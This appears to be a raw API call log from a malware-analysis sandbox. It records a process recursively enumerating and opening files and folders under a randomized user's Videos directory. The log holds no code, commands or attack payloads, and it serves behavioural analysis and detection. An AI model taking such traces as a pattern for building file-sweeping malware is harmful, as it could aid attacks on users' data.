[0091.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6338 [0091.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351820 [0091.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.057] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29ffcfd0, ftCreationTime.dwHighDateTime=0x1d5b58b, ftLastAccessTime.dwLowDateTime=0x14aeddd0, ftLastAccessTime.dwHighDateTime=0x1d5bc69, ftLastWriteTime.dwLowDateTime=0x14aeddd0, ftLastWriteTime.dwHighDateTime=0x1d5bc69, nFileSizeHigh=0x0, nFileSizeLow=0x147d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MKjC UxayP7hpAEuMne.mp4", cAlternateFileName="")) returned 1 [0091.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6358 [0091.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351928 [0091.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.059] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa185da50, ftCreationTime.dwHighDateTime=0x1d5ba58, ftLastAccessTime.dwLowDateTime=0x21c3d4c0, ftLastAccessTime.dwHighDateTime=0x1d5c1d3, ftLastWriteTime.dwLowDateTime=0x21c3d4c0, ftLastWriteTime.dwHighDateTime=0x1d5c1d3, nFileSizeHigh=0x0, nFileSizeLow=0x1612e, dwReserved0=0x0, dwReserved1=0x0, cFileName="qfGeUhx.flv", cAlternateFileName="")) returned 1 [0091.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6378 [0091.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351a30 [0091.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.061] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa185da50, ftCreationTime.dwHighDateTime=0x1d5ba58, ftLastAccessTime.dwLowDateTime=0x21c3d4c0, ftLastAccessTime.dwHighDateTime=0x1d5c1d3, ftLastWriteTime.dwLowDateTime=0x21c3d4c0, ftLastWriteTime.dwHighDateTime=0x1d5c1d3, nFileSizeHigh=0x0, nFileSizeLow=0x1612e, dwReserved0=0x0, dwReserved1=0x0, cFileName="qfGeUhx.flv", cAlternateFileName="")) returned 0 [0091.061] GetLastError () returned 0x12 [0091.061] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Il9QHTKlq8KaFESJJA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0091.062] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29046950, ftCreationTime.dwHighDateTime=0x1d5c4b4, ftLastAccessTime.dwLowDateTime=0x1a1f1590, ftLastAccessTime.dwHighDateTime=0x1d5b8af, ftLastWriteTime.dwLowDateTime=0x1a1f1590, ftLastWriteTime.dwHighDateTime=0x1d5b8af, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x501d67c0, ftCreationTime.dwHighDateTime=0x1d5bba5, ftLastAccessTime.dwLowDateTime=0xccf14000, ftLastAccessTime.dwHighDateTime=0x1d5bf4c, ftLastWriteTime.dwLowDateTime=0xccf14000, ftLastWriteTime.dwHighDateTime=0x1d5bf4c, nFileSizeHigh=0x0, nFileSizeLow=0xe610, dwReserved0=0x0, dwReserved1=0x0, cFileName="0Ict3tlwR1Z6p-p.mp4", cAlternateFileName="")) returned 1 [0091.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bc2fa0, ftCreationTime.dwHighDateTime=0x1d5bc7e, ftLastAccessTime.dwLowDateTime=0x7f84c6d0, ftLastAccessTime.dwHighDateTime=0x1d5b5af, ftLastWriteTime.dwLowDateTime=0x7f84c6d0, ftLastWriteTime.dwHighDateTime=0x1d5b5af, nFileSizeHigh=0x0, nFileSizeLow=0x10f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="kQ_32_tpI2X.mp4", cAlternateFileName="")) returned 1 [0091.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3be4100, ftCreationTime.dwHighDateTime=0x1d5bbe6, ftLastAccessTime.dwLowDateTime=0x9925a110, ftLastAccessTime.dwHighDateTime=0x1d5c4c1, ftLastWriteTime.dwLowDateTime=0x9925a110, ftLastWriteTime.dwHighDateTime=0x1d5c4c1, nFileSizeHigh=0x0, nFileSizeLow=0x86d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="LqeBuTBJn5LNzDQwM.swf", cAlternateFileName="")) returned 1 [0091.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29ffcfd0, ftCreationTime.dwHighDateTime=0x1d5b58b, ftLastAccessTime.dwLowDateTime=0x14aeddd0, ftLastAccessTime.dwHighDateTime=0x1d5bc69, ftLastWriteTime.dwLowDateTime=0x14aeddd0, ftLastWriteTime.dwHighDateTime=0x1d5bc69, nFileSizeHigh=0x0, nFileSizeLow=0x147d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MKjC UxayP7hpAEuMne.mp4", cAlternateFileName="")) returned 1 [0091.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa185da50, ftCreationTime.dwHighDateTime=0x1d5ba58, ftLastAccessTime.dwLowDateTime=0x21c3d4c0, ftLastAccessTime.dwHighDateTime=0x1d5c1d3, ftLastWriteTime.dwLowDateTime=0x21c3d4c0, ftLastWriteTime.dwHighDateTime=0x1d5c1d3, nFileSizeHigh=0x0, nFileSizeLow=0x1612e, dwReserved0=0x0, dwReserved1=0x0, cFileName="qfGeUhx.flv", cAlternateFileName="")) returned 1 [0091.062] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa185da50, ftCreationTime.dwHighDateTime=0x1d5ba58, ftLastAccessTime.dwLowDateTime=0x21c3d4c0, ftLastAccessTime.dwHighDateTime=0x1d5c1d3, ftLastWriteTime.dwLowDateTime=0x21c3d4c0, ftLastWriteTime.dwHighDateTime=0x1d5c1d3, nFileSizeHigh=0x0, nFileSizeLow=0x1612e, dwReserved0=0x0, dwReserved1=0x0, cFileName="qfGeUhx.flv", cAlternateFileName="")) returned 0 [0091.062] GetLastError () returned 0x12 [0091.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.063] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0091.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c7b0) returned 1 [0091.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.063] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec8214b0, ftCreationTime.dwHighDateTime=0x1d5be40, ftLastAccessTime.dwLowDateTime=0xb28ec310, ftLastAccessTime.dwHighDateTime=0x1d5c107, ftLastWriteTime.dwLowDateTime=0xb28ec310, ftLastWriteTime.dwHighDateTime=0x1d5c107, nFileSizeHigh=0x0, nFileSizeLow=0x131fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="nQ4wFS_wnoxe.swf", cAlternateFileName="")) returned 1 [0091.063] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29b06b00, ftCreationTime.dwHighDateTime=0x1d5b9e3, ftLastAccessTime.dwLowDateTime=0xc1957db0, ftLastAccessTime.dwHighDateTime=0x1d5b9d5, ftLastWriteTime.dwLowDateTime=0xc1957db0, ftLastWriteTime.dwHighDateTime=0x1d5b9d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OXF59RZWsB", cAlternateFileName="")) returned 1 [0091.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.064] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxf59rzwsb"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29b06b00, ftCreationTime.dwHighDateTime=0x1d5b9e3, ftLastAccessTime.dwLowDateTime=0xc1957db0, ftLastAccessTime.dwHighDateTime=0x1d5b9d5, ftLastWriteTime.dwLowDateTime=0xc1957db0, ftLastWriteTime.dwHighDateTime=0x1d5b9d5, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0091.064] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxf59rzwsb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0091.064] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.064] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.065] NtClose (Handle=0x178) returned 0x0 [0091.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.066] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0091.066] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29b06b00, ftCreationTime.dwHighDateTime=0x1d5b9e3, ftLastAccessTime.dwLowDateTime=0xc1957db0, ftLastAccessTime.dwHighDateTime=0x1d5b9d5, ftLastWriteTime.dwLowDateTime=0xc1957db0, ftLastWriteTime.dwHighDateTime=0x1d5b9d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.066] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143cde70, ftCreationTime.dwHighDateTime=0x1d5b8c1, ftLastAccessTime.dwLowDateTime=0xa254ef30, ftLastAccessTime.dwHighDateTime=0x1d5c592, ftLastWriteTime.dwLowDateTime=0xa254ef30, ftLastWriteTime.dwHighDateTime=0x1d5c592, nFileSizeHigh=0x0, nFileSizeLow=0xca0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EK6Utwo7JY6RzwWBjN9.mp4", cAlternateFileName="")) returned 1 [0091.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c7b0 [0091.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6398 [0091.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1352588 [0091.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.068] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb06ae3b0, ftCreationTime.dwHighDateTime=0x1d5b5b9, ftLastAccessTime.dwLowDateTime=0xe49b8c40, ftLastAccessTime.dwHighDateTime=0x1d5c2eb, ftLastWriteTime.dwLowDateTime=0xe49b8c40, ftLastWriteTime.dwHighDateTime=0x1d5c2eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gd YD5Nq43Q", cAlternateFileName="")) returned 1 [0091.068] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fcf8b00, ftCreationTime.dwHighDateTime=0x1d5ba48, ftLastAccessTime.dwLowDateTime=0x4ad45c0, ftLastAccessTime.dwHighDateTime=0x1d5bb06, ftLastWriteTime.dwLowDateTime=0x4ad45c0, ftLastWriteTime.dwHighDateTime=0x1d5bb06, nFileSizeHigh=0x0, nFileSizeLow=0x7f74, dwReserved0=0x0, dwReserved1=0x0, cFileName="_uCkacD82yMJ.mkv", cAlternateFileName="")) returned 1 [0091.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f63b8 [0091.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1352690 [0091.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.070] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fcf8b00, ftCreationTime.dwHighDateTime=0x1d5ba48, ftLastAccessTime.dwLowDateTime=0x4ad45c0, ftLastAccessTime.dwHighDateTime=0x1d5bb06, ftLastWriteTime.dwLowDateTime=0x4ad45c0, ftLastWriteTime.dwHighDateTime=0x1d5bb06, nFileSizeHigh=0x0, nFileSizeLow=0x7f74, dwReserved0=0x0, dwReserved1=0x0, cFileName="_uCkacD82yMJ.mkv", cAlternateFileName="")) returned 0 [0091.070] GetLastError () returned 0x12 [0091.070] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0091.071] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0091.071] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29b06b00, ftCreationTime.dwHighDateTime=0x1d5b9e3, ftLastAccessTime.dwLowDateTime=0xc1957db0, ftLastAccessTime.dwHighDateTime=0x1d5b9d5, ftLastWriteTime.dwLowDateTime=0xc1957db0, ftLastWriteTime.dwHighDateTime=0x1d5b9d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.071] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143cde70, ftCreationTime.dwHighDateTime=0x1d5b8c1, ftLastAccessTime.dwLowDateTime=0xa254ef30, ftLastAccessTime.dwHighDateTime=0x1d5c592, ftLastWriteTime.dwLowDateTime=0xa254ef30, ftLastWriteTime.dwHighDateTime=0x1d5c592, nFileSizeHigh=0x0, nFileSizeLow=0xca0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EK6Utwo7JY6RzwWBjN9.mp4", cAlternateFileName="")) returned 1 [0091.071] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb06ae3b0, ftCreationTime.dwHighDateTime=0x1d5b5b9, ftLastAccessTime.dwLowDateTime=0xe49b8c40, ftLastAccessTime.dwHighDateTime=0x1d5c2eb, ftLastWriteTime.dwLowDateTime=0xe49b8c40, ftLastWriteTime.dwHighDateTime=0x1d5c2eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gd YD5Nq43Q", cAlternateFileName="")) returned 1 [0091.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.071] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxf59rzwsb\\gd yd5nq43q"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb06ae3b0, ftCreationTime.dwHighDateTime=0x1d5b5b9, ftLastAccessTime.dwLowDateTime=0xe49b8c40, ftLastAccessTime.dwHighDateTime=0x1d5c2eb, ftLastWriteTime.dwLowDateTime=0xe49b8c40, ftLastWriteTime.dwHighDateTime=0x1d5c2eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0091.071] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oxf59rzwsb\\gd yd5nq43q"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0091.071] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.072] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.072] NtClose (Handle=0x178) returned 0x0 [0091.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.073] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OXF59RZWsB\\gd YD5Nq43Q\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0091.073] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb06ae3b0, ftCreationTime.dwHighDateTime=0x1d5b5b9, ftLastAccessTime.dwLowDateTime=0xe49b8c40, ftLastAccessTime.dwHighDateTime=0x1d5c2eb, ftLastWriteTime.dwLowDateTime=0xe49b8c40, ftLastWriteTime.dwHighDateTime=0x1d5c2eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.073] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b8a2940, ftCreationTime.dwHighDateTime=0x1d5b8ac, ftLastAccessTime.dwLowDateTime=0x77f23f50, ftLastAccessTime.dwHighDateTime=0x1d5c3b1, ftLastWriteTime.dwLowDateTime=0x77f23f50, ftLastWriteTime.dwHighDateTime=0x1d5c3b1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="-f9Ha", cAlternateFileName="")) returned 1 [0091.073] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eacda40, ftCreationTime.dwHighDateTime=0x1d5c16a, ftLastAccessTime.dwLowDateTime=0xe8fa8fe0, ftLastAccessTime.dwHighDateTime=0x1d5be25, ftLastWriteTime.dwLowDateTime=0xe8fa8fe0, ftLastWriteTime.dwHighDateTime=0x1d5be25, nFileSizeHigh=0x0, nFileSizeLow=0x10c4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="cqveBIm_cmTp-M.mp4", cAlternateFileName="")) returned 1 [0091.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.074] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.074] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1352798 [0091.075] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f63d8 [0091.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13528a0 [0091.076] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.076] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e555bc0, ftCreationTime.dwHighDateTime=0x1d5b657, ftLastAccessTime.dwLowDateTime=0xa0824870, ftLastAccessTime.dwHighDateTime=0x1d5bc86, ftLastWriteTime.dwLowDateTime=0xa0824870, ftLastWriteTime.dwHighDateTime=0x1d5bc86, nFileSizeHigh=0x0, nFileSizeLow=0x9a20, dwReserved0=0x0, dwReserved1=0x0, cFileName="hCaGjfYGy.avi", cAlternateFileName="")) returned 1 [0091.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.076] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f63f8 [0091.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13529a8 [0091.078] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.078] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c866b10, ftCreationTime.dwHighDateTime=0x1d5b944, ftLastAccessTime.dwLowDateTime=0xd278a350, ftLastAccessTime.dwHighDateTime=0x1d5bff2, ftLastWriteTime.dwLowDateTime=0xd278a350, ftLastWriteTime.dwHighDateTime=0x1d5bff2, nFileSizeHigh=0x0, nFileSizeLow=0x2c5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="r_F V.mkv", cAlternateFileName="")) returned 1 [0091.078] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.078] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 